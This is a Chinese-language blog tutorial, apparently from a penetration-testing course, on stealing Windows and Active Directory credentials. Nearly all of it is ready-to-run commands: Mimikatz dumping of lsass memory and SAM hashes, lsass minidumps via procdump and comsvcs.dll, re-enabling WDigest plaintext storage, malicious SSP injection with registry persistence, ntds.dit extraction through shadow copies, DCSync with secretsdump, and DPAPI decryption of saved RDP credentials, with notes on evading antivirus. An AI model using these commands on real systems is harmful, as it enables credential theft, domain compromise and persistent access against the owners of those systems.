6-密码抓取

需要抓取哪些密码呢?

  • 本地账户密码(或者hash)
  • 域账户密码(或者hash)
  • RDP账户密码
  • 浏览器账户密码
  • 数据库账户密码
  • 本地保存的账户密码文件

密码抓取工具

GetPassword

注意:需使用高权限用户操作

打开GetPass工具所在的目录。打开命令行环境。运行64位程GetPassword。运行该程序后,即可获得明文密码

在这里插入图片描述

PwDump7

以高权限用户身份打开cmd,直接运行PwDump7.exe 就可得到用户的hash值
在这里插入图片描述

QuarksPwDump

同样为NTLM hash值

命令格式(高权限用户执行):

QuarksPwDump.exe --dump-hash-local

在这里插入图片描述

Mimikatz

项目地址:https://github.com/gentilkiwi/mimikatz/

注意:使用高权限用户操作

简介

Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,但由于其功能强大,能够 直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具, mimikatz可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证。 mimikatz 还可以执行 哈希传递、票证传递或构建黄金票据。

密码使用方法

image-20231017110757021

image-20231017111443369

两个命令:

privilege::debug

sekurlsa::logonpasswords #抓取内存中的所有密码

其他模块

sekurlsa模块

privilege模块
privilege:: debug #提升为debug权限

sekurlsa:模块 从lsass进程中提取passwords、keys. pin、 tickets等信息
sekur1sa::msv #获取HASH (LM,NTLM)
sekurlsa::wdigest #通过可逆的方式去内存中读取明文密码
sekurlsa::Kerberos #假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码
sekurlsa::tspkg #通过tspkg读取明文密码
sekurlsa::livessp #通过livessp读取明文密码sekurlsa::ssp通过ssp读取明文密码
sekurlsa::logonPasswords #通过以上各种方法读取明文密码
sekurlsa::process #将自己的进程切换到lsass进程中,之前只是注入读取信息
sekurlsa::minidump file #这个模块可以读取已经打包的内存信息
sekurlsa::pth #哈希传递
sekurlsa::pth /user:administrator/domain:host1 /ntlm:cdf34cda4e455232323xXxx
sekurlsa::pth /user:administrator /domain:host1 /aes256:cdf34cda4e455232323xXXX

process模块

process::list #列出进程列表
process::exports #导出进程列表
process::imports #导入列表
process::start #开始一个进程
process::stop #停止一个进程
process::suspend #冷冻一个进程
process::resume #从冷冻中恢复
process::run 程序名 #运行一个程序
process::runp #以SYSTEM系统权限打开一个新的mimikatz窗口

等等

在线读取SAM文件中的hash值

概述

在线读取即指定是将工具上传到目标的机器然后再直接读取机器上的SAM文件中的内容

弊端:上传的工具可能会被杀软杀掉;工具可能会因为网络问题传输可能不太完整;

本次主要读取的是NTLM-HASH值

方式一 mimikatz

命令如下:

privilege::debug
token::elevate
lsadump::sam

在这里插入图片描述

将三条合并为一条为:

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

在这里插入图片描述

方式二 CS读取

cs上线后进入机器的beacon模块

image-20231017113909327

命令(高权限用户):hasudump
在这里插入图片描述

离线读取SAM文件中的hash值

概述

离线读取也就是不需要在受害机器本地读取,可以将SAM文件复制到自己的电脑上,然后再利用工具进行读取

离线读取可以在一定程度上可以躲避杀软

方式一 reg命令

命令为:

reg save hklm\sam sam.hive

reg save hklm\system system.hive

image-20231017114840777

方式二 PS脚本

如果遇到此问题

image-20231017120126889

请打开powershell,输入命令为:set-executionpolicy

image-20231017115931821

关闭powershell

再鼠标右键,以管理员运行

image-20231017120014770

再输入该命令:set-executionpolicy remotesigned

image-20231017115757106

再次导入,执行脚本

image-20231017120224991

读取复制的文件

使用mimikatz工具读取sam文件

命令为:

lsadump::sam /sam:sam.hive /system:system.hive

image-20231017120528746

image-20231017120727637

在线读取lsass进程内存密码

概述

上传工具到目标机器然后再读取机器内的lsass内存中的明文密码

这里主要读取的是明文密码

弊端:上传的工具可能会被杀软杀掉

工具mimikatz读取

mimikatz支持各种方式读取机器上的密码

privilege:debug
sekurlsa.:msv #获取HASH (LM,NTLM)
sekurlsa.:wdigest #通过可逆的方式去内存中读取明文密码
sekurlsa.Kerberos #获取域管理员的明文密码
sekurlsa..tspkg #通过tspkg读取明文密码
sekurlsa::livessp #通过livessp读取明文密码
sekurlsa.ssp #通过ssp读取明文密码
sekurlsa::logonPasswords #通过以上各种方法读取明文密码

image-20231017121434581

一般情况下,都会直接使用sekurlsa::logonPasswords,读取密码

离线读取lsass进程内存密码

概述

离线读取即不再需要本地读取密码,先将机器上的lsass内存导出,然后在自己的电脑中使用mimikatz工具读取导出的文件,即可得到明文的账户密码。

可在一定程度上躲避杀软

方式一 任务管理器导出

在任务管理器中找到lsass.exe进程,右键创建转储文件

image-20231017121924674

image-20231017121942627
在这里插入图片描述

方式二 procdump工具

使用procdump 导出lsass.dmp文件,

ProcDump 是一个命令行实用工具,其主要用途 是在管理员或开发人员可用于确定峰值原因的峰值期间监视 CPU 峰值和生成故障转储的应用程序,微软的一般不会被杀软杀掉。

命令:

procdump.exe -accepteula -ma lsass.exe lsass.dmp
在这里插入图片描述

方式三 PS脚本

命令:

Import-Module .\Out-Minidump.ps1

Get-Process lsass | Out-Minidump
在这里插入图片描述

方式四 comsvcs.dll

comsvcs.dll,系统自带

通过comsvcs.dll的导出函数MiniDump实现dump内存读取

命令:

先查询lsass.exe的进程号: tasklist | findstr lsass.exe

使用powershell导出rundll32:

rundll32 C:\Windows\System32\comsvcs.dll, MiniDump 480 C:\Users\Administrator\Desktop\lsass.dmp full

image-20231017123633788

读取文件

使用mimikatz工具进行读取

命令

mimikatz.exe “sekurlsa::minidump lsass.dmp” “sekurlsa::logonPasswords full”

或者

第一个命令:sekurlsa::minidump lsass.dmp

第二个命令:sekurlsa::logonPasswords full

读取任务管理器导出的lsass.DMP文件

在这里插入图片描述

其他三种方式导出的文件-读取方式一样(注意导出的文件名)

在这里插入图片描述

修改Wdigest注册表获取系统密码

概述

Win7、 Win server 2008等这样的机器内存中是存储明文的密码,但是在2012之后的机器(win10、win 8、win11、 2012、2016)或者安装了KB2971997补丁是内存中就不在存储明文密码了,我们就无法通过之前学习的方法抓取到明文的密码。

在Windows 2012系统及以上的系统,默认在内存中禁止保存明文密码。

攻击者可以通过修改注册表的方式抓取明文密码,但是需要用户重新登陆后才能成功抓取

注册表中开启或关闭存储明文密码

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
/v UseLogonCredential /t REG_DWORD /d 1 /f 开启

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
/v UseLogonCredential /t REG_DWORD /d 0 /f 关闭

操作

1、首先查询注册表中是否存在该值

命令:

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredential

2、修改UseLogonCredential的值为1(如果没有查到该值,可直接添加)

使用管理员权限修改

命令

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

image-20231115111109796

3、修改成功之后,内存就可以存储明文密码了,但需要用户重新输入密码

三种方式:

  • 锁屏,重新登录( rundll32.exe user32.dll,LockWorkStation)
  • 注销用户(query user 查询用户,logoff id 注销用户)
  • 重启计算机

4、使用Mimikatz读取计算机中的存储的明文密码

privilege::debug
sekurlsa::logonPasswords

在这里插入图片描述

内存注入SSP获取系统密码

概述

在Mimikatz中,有写好的恶意ssp,可以提供本地认证时候对明文账户密码进行记录。我们需要将ssp注入到系统内存中,就可以获取本地的明文账户密码。

由于注入在内存中,所以重启就失效了,故该攻击也称之为SSP注入。

操作

1、第一步将SSP注入到内存中,两种方式:

  • 使用mimikatz
  • 使用ps脚本

使用mimikatz

privilege::debug
misc::memssp

image-20231115132508716

2、需要用户重新输入密码

通过锁屏或注销等方式

锁屏命令:rundll32.exe user32.dll,LockWorkStation

3、输入密码后,在C:\Windows\System32\mimilsa.log即可查看明文密码

image-20231115132751917

注册表添加SSP获取系统密码

概述

SSP注入只要计算机重启即无法使用,想要使得永久生效,需要将SSP添加到注册表中,只要系统重启就会加载SSP。

操作

1、将mimikatz压缩包中的mimilib.dll,这个文件就是SSP,将该文件复制到C:\Windows\System32目录中

image-20231115133204833

2、修改注册表

命令

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f

image-20231115133418270

3、密码会存储在C:\Windows\System32\kiwissp.log文件中

在这里插入图片描述

以下为域控密码抓取方法

NTDS概述

NTDS.DIT为DC的数据库,存放着有域用户、域组、用户hash值等信息。域控上面的NTDS.DIT只有登录到域控的用户(例如:域管用户、DC本地管理员用户)可以访问,为了进一步保护密码hash值,使用存储在SYSTEM注册表配置单元中的密钥对这些hash值进行了加密。

位置:C:\Windows\NTDS

image-20240102144310637

如果要读取该文件的内容有以下几种方式

  • 离线读取,将NTDS文件复制到攻击者的计算机,然后再使用工具进行读取
  • 在线读取,通过给域控电脑传送可以读取NTDS文件的工具
  • 远程读取,不需要上线域控,可以通过Dcsync远程读取

卷影拷贝概述

从Windows XP SP2和Windows server 2003开始,微软就向Windows操作系统中引入了一项名为卷影拷贝服务(volume shadow copy service,VSS),该服务允许Windows系统以自动或者手动的方式对文件或者磁盘卷宗的当前状态进行备份(或者快照)。

需要注意的是在这个过程中,即使文件处于打开状态,该服务仍然可以对文件进行备份。

ntds.dit是默认被Windows系统锁定的,想要读取该文件就要利用卷影拷贝服务(volume shadow copy service,VSS)得到ntds.dit文件的副本。

卷影拷贝服务(VSS)本质属于快照技术的一种,主要用于备份和恢复,即使目标文件处于锁定状态。

卷影拷贝-ntdsutil工具拷贝

概述

ntdsutil.exe是一个为活动目录提供管理机制的命令行工具,该工具默认安装在域控服务器上,可以在域控制器上直接操作,2003、2008、2012、2016等,提取NTDS过程分为3步。

操作

1、在目标机创建一个NTDS快照

ntdsutil.exe snapshot "activate instance ntds" create q Local Destination

image-20231118094802700

记住快照ID:d474d03c-5c9c-4c61-9102-98a67a57a894

2、加载快照到磁盘中

ntdsutil.exe snapshot "mount {d474d03c-5c9c-4c61-9102-98a67a57a894}" q q

image-20231118094941837

加载成功之后,在C盘就会出现加载成功图标
在这里插入图片描述

)

3、复制快照中的ntds.dit文件

copy '快照地址\Windows\NTDS\ntds.dit' 目标路径

在这里插入图片描述

4、拷贝成功后,删除快照

ntdsutil.exe snapshot "umount {d474d03c-5c9c-4c61-9102-98a67a57a894}" "delete {d474d03c-5c9c-4c61-9102-98a67a57a894}" q q

image-20231118095449412

卷影拷贝-vssadmin工具拷贝

概述

vssadmin为Windows server 2008及Windows7系统以上提供的VSS管理工具,可以用于创建或者删除卷影副本、列出卷影副本的信息。

操作

1、创建C盘快照

vssadmin create shadow /for=c:

image-20231118103337443

2、将快照中的NTDS文件进行复

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

在这里插入图片描述

3、删除快照

vssadmin delete shadows /for=c: /quiet

在这里插入图片描述

卷影拷贝-IFM方式拷贝

概述

可以通过创建一个IFM的方式获取ntds.dit,在使用ntdsutil工具创建媒体安装集(IFM)时,需要进行生成快照、加载,将ntds.dit和计算机的SAM文件复制到目标文件夹中等操作。

操作

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

在这里插入图片描述

此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在 C:\test\registry 文件夹下

卷影拷贝-脚本工具拷贝

vssown.vbs

vssown.vbs可以创建和删除卷影副本

1、启动卷影复制服务

cscript vssown.vbs /start

在这里插入图片描述

2、创建C盘卷影副本

cscript vssown.vbs /create c

image-20231118104547103

3、列出当前卷影副本

cscript vssown.vbs /list

在这里插入图片描述

4、复制ntds.dit文件

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

在这里插入图片描述

5、删除卷影副本

cscript vssown.vbs /delete {9767eab0-48b2-11ee-80b0-806e6f6e6963}

在这里插入图片描述

Copy-VSS.ps1

可以直接导出

PS C:\Users\Administrator> cd .\Desktop
PS C:\Users\Administrator\Desktop> Import-Module .\Copy-VSS.ps1
PS C:\Users\Administrator\Desktop> Copy-VSS

image-20231118110422522

离线读取NTDS文件中的HASH值

离线读取一般需要两步:

  1. 将远端域控的ntds.dit下载到本地
  2. 本地利用工具进行读取

注意:system.hive里存放着ntds.dit的密钥,所以转储system.hive,不然没法查看ntds.dit里面内容

命令为reg save hklm\system C:\Users\Administrator\Desktop\system.hive

secretsdump.exe工具

命令:

secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

在这里插入图片描述

NTDSDumpEx.exe工具

命令

NTDSDumpEx.exe -d ntds.dit -s system -o res.txt

在这里插入图片描述

在线读取NTDS文件中的HASH值

在线读取直接读取ntds文件内容,无需拷贝在本地

Mimikatz工具

读取所有用户的hash值

lsadump::dcsync /domain:xbxaq.com /all /csv

在这里插入图片描述

读取单个用户

lsadump::dcsync /domain:xbxaq.com /user:administrator

在这里插入图片描述

QuarksPWDump工具

Quarks PW Dump.exe --dump-hash-domain --ntds-file ntds.dit

注意:先将ntds.dit文件先导出来

在这里插入图片描述

secretsdump工具

secretsdump.exe 域名/administrator:密码@IP
secretsdump.exe xbxaq/administrator:a1b2c3123..@192.168.110.10

在这里插入图片描述

Invoke-DCSync.ps1工具

在powershell中导入该脚本

PS C:\Users\Administrator> cd .\Desktop
PS C:\Users\Administrator\Desktop> Import-Module .\Invoke-DCSync.ps1
PS C:\Users\Administrator\Desktop> Invoke-DCSync

Domain                        User                          ID                            Hash
------                        ----                          --                            ----
xbxaq.com                     krbtgt                        502                           607283a6b62ecae1081cb82829...

xbxaq.com                     Administrator                 500                           1b0e539ee1e837a7a63d2be0a6...

xbxaq.com                     zhangsan                      1104                          b6fedcbb1ab4f59dd213d03eb9...

xbxaq.com                     ls                            1106                          b6fedcbb1ab4f59dd213d03eb9...

在这里插入图片描述

Dcsync原理以及攻击

概述

什么是Dcsync(domain Controller synchronization )

域控同步:在内网中一般不是一个域控, 会有域树或者域森林等,域控之间是要同步数据的,不同的域控15分钟之间要发起一次数据同步请求,请求里面就包含同步的数据,这里采用的协议是DRS(目录复制服务),这个就是 DCsync
在这里插入图片描述

哪些用户可以运行DCsync服务呢

  • administrators组内用户
  • domain admins组内用户
  • enterprise admins组内用户
  • 域控制器的计算机账户

域控的administrator和system也可以

DCsync利用思路

  1. 找到有权限的用户,从而远程读取域控用户的信息,可以进行PTH、黄金、白银票据攻击
  2. 如果控制了域控,可以在域控添加一个管理员账户从而进行权限维持
  3. 可以添加一个普通的用户,修改ACL从而实现可以使用DCsync,进行权限维持

DCsync攻击

使用mimikatz模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希值。

该功能最大的特点就是不用登录域控制器,即可远程通过域数据同步复制的方式获得域控制器上的数据

远程读取域控HASH值

远程读取是利用dcsync,前提是必须找到拥有运行dcsync的账号

所以读取hash 的步骤是两步 :

  • 找到拥有dcsync的用户
  • 远程读取即可

方法一 mimikatz

读取所有用户的hash值

lsadump::dcsync /domain:xbxaq.com /all /csv

在这里插入图片描述

读取单个用户

lsadump::dcsync /domain:xbxaq.com /user:ls

在这里插入图片描述

方式二 secretsdump工具

 secretsdump.exe 域名/用户名或者hash:密码@IP
secretsdump.exe xbxaq/administrator:a1b2c3123..@192.168.110.10

在这里插入图片描述

利用Dcsync远程读取明文账号

利用DCSync可以获取明文凭据,主要是因为账户勾选了"使用可逆加密存储密码"的属性

lsadump::dcsync /domain:xbxaq.com /user:ls

在这里插入图片描述

RDP密码凭证抓取

明文密码抓取原理

Credentials的解密是Windows系统信息收集中非常重要的一环

在平时的工作中,管理员为了方便管理计算机,经常会进行远程桌面连接,由于每次都需要输入密码觉得麻烦,就点击了保留凭据。

这个过程是可逆,所以我们可以将保存的密码进行还原。

在这里插入图片描述

还原的原理

Windows通过MasterKey将我们的密码加密后保存在本地,由于Windows还需要解密使用这个密码,所以这个过程是可逆,我们只要拿到 MasterKey就能将密码解出来。

查看凭证方法

1、查看远程桌面的连接记录

命令:cmdkey /list
在这里插入图片描述

2、查找本地的的Credentials

dir /a %userprofile%\appdata\local\microsoft\credentials\*

在这里插入图片描述

在线读取RDP明文密码

1、使用mimikatz获取该文件的MasterKey的guid值

dpapi::cred /in:凭据绝对路径

绝对路径:C:\Users\ls\appdata\local\microsoft\credentials\0CD7F2C49F30735B50B8B25B21588322

dpapi::cred /in:C:\Users\ls\appdata\local\microsoft\credentials\0CD7F2C49F30735B50B8B25B21588322

在这里插入图片描述

guid值为4fdb635b-6699-43d0-b6d9-553daa1d0dc6

2、使用mimikatz工具在内存中找到对应的masterkey值

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::dpapi

在这里插入图片描述

masterkey值为:2fbdd5de3bb48c79c468f096ddc90d21c0f1a8e9d30ff6eb70466a45d5cf746523b2fd6b60327b0ea0e1ea35e188da268ebb57506f9935a784779701651fb58d

3、使用mimikatz工具通过masterkey值解密RDP凭据文件

dpapi::cred /in:凭据文件路径 /masterkey:masterkey值
dpapi::cred /in:C:\Users\ls\appdata\local\microsoft\credentials\0CD7F2C49F30735B50B8B25B21588322 /masterkey:2fbdd5de3bb48c79c468f096ddc90d21c0f1a8e9d30ff6eb70466a45d5cf746523b2fd6b60327b0ea0e1ea35e188da268ebb57506f9935a784779701651fb58d

在这里插入图片描述

离线读取RDP明文密码

1、下载目标的lsass内存文件

在这里插入图片描述

2、将RDP凭证下载到本地

dir /a %userprofile%\appdata\local\microsoft\credentials\*

在这里插入图片描述

当打开对应目录没有文件时,需要修改对应的文件夹属性

在这里插入图片描述

在查看功能点,将隐藏受保护的操作系统文件的勾取消即可看到文件
在这里插入图片描述

将对应的RDP凭证下载到本地
在这里插入图片描述

3、使用mimikatz载入dump回来的内存

Sekurlsa::minidump lsass.dmp

在这里插入图片描述

4、获取credentials的GUID值

dpapi::cred /in:凭证名称
dpapi::cred /in:0CD7F2C49F30735B50B8B25B21588322

在这里插入图片描述

guidMasterkey值为4fdb635b-6699-43d0-b6d9-553daa1d0dc6

5、获取内存中所有的masterkey

sekurlsa::dpapi

寻找guid对应的Masterkey值
在这里插入图片描述

masterkey值为2fbdd5de3bb48c79c468f096ddc90d21c0f1a8e9d30ff6eb70466a45d5cf746523b2fd6b60327b0ea0e1ea35e188da268ebb57506f9935a784779701651fb58d

6、masterkey进行解密

dpapi::cred /in:凭据文件名 /masterkey:masterkey值
dpapi::cred /in:0CD7F2C49F30735B50B8B25B21588322 /masterkey:2fbdd5de3bb48c79c468f096ddc90d21c0f1a8e9d30ff6eb70466a45d5cf746523b2fd6b60327b0ea0e1ea35e188da268ebb57506f9935a784779701651fb58d

在这里插入图片描述

  • 10
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值